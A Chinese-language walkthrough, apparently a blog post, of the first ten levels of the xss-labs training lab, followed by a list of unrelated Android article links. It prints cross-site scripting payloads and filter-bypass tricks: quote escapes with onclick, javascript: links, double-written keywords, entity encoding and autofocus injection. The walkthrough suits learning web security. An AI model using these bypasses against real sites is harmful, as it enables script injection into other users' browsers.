xss-labs解答

下载xss-labs到www目录下

在xp上创建网站

需要访问时打开apchi和mysql

level-1

网络源代码

网页源码里是有个alert函数,触发就能通关

用< svg οnclick="alert(1)" >

level2

先随便数个1

用payload逃出这个引号内容,然后调用alert函数

" οnclick="alert(1)

点击框完成

level3

也随便输一个

变成了''答案改为''就行

level4

试试" οnclick="alert(1)

竟然行了

level5

继续用" οnclick="alert(1)发现onclick被破坏

换个方法"><a href="javascript:alert(1)">test</a>

创建一个超链接

点击test完成

level6

继续使用上一关方法

href被破坏,那就试试大小写

可以了😀

level7

这次更狠,给href和script给删掉了,大小写也没用

可以试试双拼"><a hrhrefef=javasscriptcript:alert()>test</a>

可以看到他只屏蔽了一个href和script

level8

加个链接发现又被破坏了

它在我们script的中间加了个_ ,那我们就把r和i换成编码

复制代码
javasc&#114;&#105;&#10;pt:alert()

level9

说我们链接不合法,就是链接不规范,加上http://

又被破坏,换成编码,因为要有http://,只有它失效才能执行JavaScript:alert()的弹窗效果,但是不能删了他,要利用它过掉过滤,用/* */把他注释掉

复制代码
javasc&#114;&#105;&#10;pt:alert()  /* http:// */

level10

发现没有框

都试一下

发现只有sort有用

复制代码
直接用t_sort=" onfocus="alert()" autofocus="" type="text自动聚焦套框
相关推荐
用户41659673693555 分钟前
Kotlin Coroutine Flow 深度解析:剖析 `flowOn` 与上下文切换的奥秘
android
2501_915921435 分钟前
运营日志驱动,在 iOS 26 上掌握 App 日志管理实践
android·macos·ios·小程序·uni-app·cocoa·iphone
沐怡旸9 分钟前
【Android】详细讲解ViewDragHelper的实现原理(不含代码版)
android
cding12 分钟前
Flutter 开发环境搭建
android·flutter
Digitally23 分钟前
如何将一加手机的照片传输到笔记本电脑?
android
fatiaozhang95272 小时前
晶晨S905L3SB芯片_安卓9.0_高安版_支持外置WIFI_线刷固件包
android·华为·电视盒子·刷机固件·机顶盒刷机
旋律逍遥2 小时前
《AOSP上手》 2、Framework 开发小需求 “去掉原生 Launcher 中的 google 搜索栏”
android
liulilittle2 小时前
在 Android Shell 终端上直接运行 OPENPPP2 网关路由配置指南
android·linux·开发语言·网络·c++·编程语言·通信
低调小一2 小时前
KuiklyUI 科普:UI 如何映射到 Android View 并完成渲染
android·windows·ui
火柴就是我3 小时前
android shadertoy效果 转换成 Android动态壁纸的写法
android